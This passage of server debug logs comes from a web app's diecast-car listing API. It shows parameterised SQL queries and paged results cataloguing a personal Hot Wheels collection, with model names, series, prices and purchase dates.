      purchase_date: '2025-12-07T18:30:00.000Z',
      price: '279.00',
      brand: 'Hotwheels',
      series: 'HW Exotics',
      brand_id: 71,
      series_id: 170,
      case: 'M',
      vehicle_brand_name: 'Peugeot',
      vehicle_brand_id: 121,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 97,
      model_name: 'Cadillac Project GTP Hypercar',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-24T18:30:00.000Z',
      price: '400.00',
      brand: 'Hotwheels',
      series: 'HW Exotics',
      brand_id: 71,
      series_id: 170,
      case: 'M',
      vehicle_brand_name: 'Cadillac',
      vehicle_brand_id: 169,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 96,
      model_name: 'Pagani Utopia',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-10T18:30:00.000Z',
      price: '270.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'M',
      vehicle_brand_name: 'Pagani',
      vehicle_brand_id: 168,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 95,
      model_name: 'Porsche 934 Turbo RSR',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-11T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'Neon Speeders - Mix 2',
      brand_id: 71,
      series_id: 162,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 94,
      model_name: 'McMurtry Speirling',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-10T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Mcmurtry',
      vehicle_brand_id: 167,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 93,
      model_name: 'TV Series Batmobile',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-18T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Batman',
      brand_id: 71,
      series_id: 161,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 92,
      model_name: 'Rodger Dodger 2.0',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 91,
      model_name: '20 Jeep Gladiator',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-25T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: "HW Truckin' Along",
      brand_id: 71,
      series_id: 160,
      case: 'A',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 90,
      model_name: 'Rodger Dodger',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-11T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Fan Driver',
      brand_id: 71,
      series_id: 159,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 89,
      model_name: 'Ford Mustang GTD',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-04T18:30:00.000Z',
      price: '300.00',
      brand: 'Hotwheels',
      series: 'HW Mustang 60th',
      brand_id: 71,
      series_id: 147,
      case: 'P',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 88,
      model_name: 'Chevy Blazer 4X4',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-02T18:30:00.000Z',
      price: '250.00',
      brand: 'Hotwheels',
      series: 'HW Dirt',
      brand_id: 71,
      series_id: 94,
      case: 'P',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 87,
      model_name: 'BMW 635 CSi',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-03T18:30:00.000Z',
      price: '250.00',
      brand: 'Hotwheels',
      series: 'HW Wild Widebody',
      brand_id: 71,
      series_id: 148,
      case: 'P',
      vehicle_brand_name: 'BMW',
      vehicle_brand_id: 126,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 86,
      model_name: 'Ford RS200',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-03T18:30:00.000Z',
      price: '250.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 73,
      model_name: '62 Corvette Gasser',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-27T18:30:00.000Z',
      price: '166.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'J',
      vehicle_brand_name: 'Corvette ',
      vehicle_brand_id: 152,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 67,
      model_name: 'Kei Swap',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Art Cars',
      brand_id: 71,
      series_id: 105,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 66,
      model_name: 'Hoto Roto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2025-12-16T04:32:26.499Z server-connect:router Serving serverConnect /api/diecast/list
2025-12-16T04:32:26.499Z server-connect:app Executing action step identify
2025-12-16T04:32:26.499Z server-connect:app options: { provider: 'security' }
2025-12-16T04:32:26.499Z server-connect:output identity: 1
2025-12-16T04:32:26.499Z server-connect:app Executing action step restrict
2025-12-16T04:32:26.499Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T04:32:26.500Z server-connect:output restrict: undefined
2025-12-16T04:32:26.500Z server-connect:app Executing action step paged
2025-12-16T04:32:26.500Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2025-12-16T04:32:26.503Z server-connect:output list: {
  offset: 25,
  limit: 25,
  total: 68,
  page: {
    offset: { first: 0, prev: 0, next: 50, last: 50 },
    current: 2,
    total: 3
  },
  data: [
    {
      id: 65,
      model_name: 'Cruise Bruiser',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'J',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 64,
      model_name: 'Renault Espace F1',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Modified',
      brand_id: 71,
      series_id: 103,
      case: 'P',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 63,
      model_name: '15 Land Rover Defender Double Cab',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Dirt',
      brand_id: 71,
      series_id: 94,
      case: 'Q',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 62,
      model_name: '83 Chevy Silverado',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'Q',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 61,
      model_name: 'RRRoadster',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 60,
      model_name: '2018 Bentley Continental GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-16T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Race day',
      brand_id: 71,
      series_id: 95,
      case: 'Q',
      vehicle_brand_name: 'Bentley',
      vehicle_brand_id: 125,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 55,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Modified',
      brand_id: 71,
      series_id: 103,
      case: 'P',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 54,
      model_name: "Drift'n Break",
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Wagons',
      brand_id: 71,
      series_id: 102,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 53,
      model_name: 'Lamborghini Huracán Sterrato',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-12T18:30:00.000Z',
      price: '350.00',
      brand: 'Hotwheels',
      series: 'HW Safari Mode',
      brand_id: 71,
      series_id: 144,
      case: 'Q',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 52,
      model_name: 'Ferrari SF90 Stradale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-12T18:30:00.000Z',
      price: '350.00',
      brand: 'Hotwheels',
      series: 'HW Factory Fresh',
      brand_id: 71,
      series_id: 145,
      case: 'Q',
      vehicle_brand_name: 'Ferrari',
      vehicle_brand_id: 124,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 51,
      model_name: 'Volvo 240 Drift Wagon',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Wagons',
      brand_id: 71,
      series_id: 102,
      case: 'P',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 50,
      model_name: '91 GMC Syclone',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'Q',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 49,
      model_name: 'Porsche 911 Turbo Cabriolet',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'P',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 48,
      model_name: 'Formula E Gen3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Track Aces',
      brand_id: 71,
      series_id: 146,
      case: 'P',
      vehicle_brand_name: 'Formula',
      vehicle_brand_id: 139,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 47,
      model_name: 'Mazda RX-3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'P',
      vehicle_brand_name: 'Mazda',
      vehicle_brand_id: 137,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 46,
      model_name: 'Silverado EV RST',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'N',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 45,
      model_name: 'GT Shelby GT500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Mustang 60th',
      brand_id: 71,
      series_id: 147,
      case: 'P',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 44,
      model_name: 'Gordon Murray Automotive T.33',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Factory Fresh',
      brand_id: 71,
      series_id: 145,
      case: 'P',
      vehicle_brand_name: 'Gordon Murray',
      vehicle_brand_id: 138,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 43,
      model_name: 'Jaguar MK1',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Race day',
      brand_id: 71,
      series_id: 95,
      case: 'M',
      vehicle_brand_name: 'Jaguar',
      vehicle_brand_id: 133,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 42,
      model_name: '73 Pontiac Firebird',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Muscle Mania',
      brand_id: 71,
      series_id: 96,
      case: 'M',
      vehicle_brand_name: 'Pontiac',
      vehicle_brand_id: 134,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 41,
      model_name: '99 Ford F-150 SVT Lightning',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'M',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 40,
      model_name: " Ford Model A Custom '31",
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '167.00',
      brand: 'Hotwheels',
      series: 'HW Dirt',
      brand_id: 71,
      series_id: 94,
      case: 'M',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 39,
      model_name: '74 Brazilian Dodge Charger',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-27T18:30:00.000Z',
      price: '350.00',
      brand: 'Hotwheels',
      series: 'HW Celebration Racers',
      brand_id: 71,
      series_id: 98,
      case: 'D',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 38,
      model_name: 'Porsche 904 Carrera GTS',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-27T18:30:00.000Z',
      price: '350.00',
      brand: 'Hotwheels',
      series: 'HW Race day',
      brand_id: 71,
      series_id: 95,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 37,
      model_name: '71 Lamborghini Miura SV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Hotwheels',
      series: 'HW 70s vs 90s',
      brand_id: 71,
      series_id: 99,
      case: 'D',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2025-12-16T04:32:29.489Z server-connect:router Serving serverConnect /api/diecast/list
2025-12-16T04:32:29.489Z server-connect:app Executing action step identify
2025-12-16T04:32:29.489Z server-connect:app options: { provider: 'security' }
2025-12-16T04:32:29.489Z server-connect:output identity: 1
2025-12-16T04:32:29.490Z server-connect:app Executing action step restrict
2025-12-16T04:32:29.490Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T04:32:29.490Z server-connect:output restrict: undefined
2025-12-16T04:32:29.490Z server-connect:app Executing action step paged
2025-12-16T04:32:29.490Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2025-12-16T04:32:29.494Z server-connect:output list: {
  offset: 0,
  limit: 100,
  total: 68,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 107,
      model_name: 'Solar Reflex',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 106,
      model_name: '2018 Honda Civic Type R',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Nightspeed',
      brand_id: 71,
      series_id: 164,
      case: 'A',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 105,
      model_name: 'Maserati Shamal',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Factory Fresh',
      brand_id: 71,
      series_id: 145,
      case: 'A',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 104,
      model_name: 'Track Ripper',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Starting Grid',
      brand_id: 71,
      series_id: 163,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 103,
      model_name: "Kowloon'd Hypervan",
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Metro',
      brand_id: 71,
      series_id: 165,
      case: 'J',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 102,
      model_name: 'Alfa Romeo Giulia TI Super',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'Q',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 101,
      model_name: 'Ford Mustang-E 1400',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'A',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 100,
      model_name: 'Decidedly Go',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Experimotors',
      brand_id: 71,
      series_id: 166,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 99,
      model_name: 'Polestar TRX',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '166.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 98,
      model_name: 'Peugeot 9X8 Hypercar',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-07T18:30:00.000Z',
      price: '279.00',
      brand: 'Hotwheels',
      series: 'HW Exotics',
      brand_id: 71,
      series_id: 170,
      case: 'M',
      vehicle_brand_name: 'Peugeot',
      vehicle_brand_id: 121,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 97,
      model_name: 'Cadillac Project GTP Hypercar',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-24T18:30:00.000Z',
      price: '400.00',
      brand: 'Hotwheels',
      series: 'HW Exotics',
      brand_id: 71,
      series_id: 170,
      case: 'M',
      vehicle_brand_name: 'Cadillac',
      vehicle_brand_id: 169,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 96,
      model_name: 'Pagani Utopia',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-10T18:30:00.000Z',
      price: '270.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'M',
      vehicle_brand_name: 'Pagani',
      vehicle_brand_id: 168,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 95,
      model_name: 'Porsche 934 Turbo RSR',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-11T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'Neon Speeders - Mix 2',
      brand_id: 71,
      series_id: 162,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 94,
      model_name: 'McMurtry Speirling',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-10T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Mcmurtry',
      vehicle_brand_id: 167,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 93,
      model_name: 'TV Series Batmobile',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-18T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Batman',
      brand_id: 71,
      series_id: 161,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 92,
      model_name: 'Rodger Dodger 2.0',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 91,
      model_name: '20 Jeep Gladiator',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-25T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: "HW Truckin' Along",
      brand_id: 71,
      series_id: 160,
      case: 'A',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 90,
      model_name: 'Rodger Dodger',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-11T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Fan Driver',
      brand_id: 71,
      series_id: 159,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 89,
      model_name: 'Ford Mustang GTD',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
